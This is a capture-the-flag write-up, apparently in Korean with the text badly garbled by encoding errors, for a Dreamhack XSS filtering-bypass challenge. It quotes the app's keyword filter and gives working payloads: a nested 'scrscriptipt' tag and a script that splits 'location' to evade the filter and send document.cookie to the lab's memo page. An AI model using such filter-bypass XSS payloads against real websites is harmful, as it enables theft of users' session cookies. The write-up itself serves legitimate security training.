1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/433
XSS Filtering Bypass
Description Exercise: XSS Filtering Bypass์์ ์ค์ตํ๋ ๋ฌธ์ ์ ๋๋ค. ๋ฌธ์ ์์ ๋ด์ญ 2023.08.04 Dockerfile ์ ๊ณต
dreamhack.io
2. ํด๊ฒฐ๊ณผ์
์ ๋ฐ์ ์ธ ์ฝ๋๋ ๋๋ฆผํต ๋ด์ xss ๋ฌธ์ ์ ์ฝ๋์ ๋น์ทํ๋ค.
ํ์ง๋ง ํด๋น ์ฝ๋๋ ๋ฌธ์์ด์ ๊ณต๋ฐฑ์ผ๋ก ํํฐ๋งํ๋ ์ฝ๋๊ฐ ํฌํจ๋์ด ์๋ค.
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
script๋ฅผ ๋ณด๋ฉด ํํฐ๋งํ๋ค.
onerror ๋ฑ์ ํ๊ทธ๋ ์ฌ์ฉํ์ง ๋ชปํ ๊ฒ์ด๋ค.
vuln ํ์ด์ง์์ ์๋์ด ๋๋ ํ๊ทธ๋ฅผ ํ์ธํด๋ณด์๋ค.
<scrscriptipt>alert(1)</scrscriptipt>
์์ ํ๋ผ๋ฏธํฐ๊ฐ ์๋์ด ๋์๋ค.
๋ฐ๋ผ์ ์๋ฐ์คํฌ๋ฆฝํธ ํ๊ทธ๋ ์์ ๊ฐ์ด ์ฐํํ๋ฉด ๋๋ค.
ํ์ง๋ง vuln ํ์ด์ง๋ฅผ ์ด์ฉํด ๋ฉ๋ชจ ํ์ด์ง์ ์ฟ ํค๊ฐ์ ์ถ๋ ฅํ๊ธฐ ์ํด์๋
location.href ๊ฐ ํ์ํ๋ฐ, location์๋ on์ด ํฌํจ๋์ด ์๋ค.
location ์์ฑ์ document ์์ฑ์ผ๋ก๋ถํฐ ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์ document['lcatio'+'n']์ผ๋ก ํด๋น ํํฐ๋ง์ ์ฐํํด์ค ๊ฒ์ด๋ค.
<ScRiPt>document['locatio'+'n'].href = "/memo?memo="+document.cookie</ScRiPt>
์ฑ๊ณต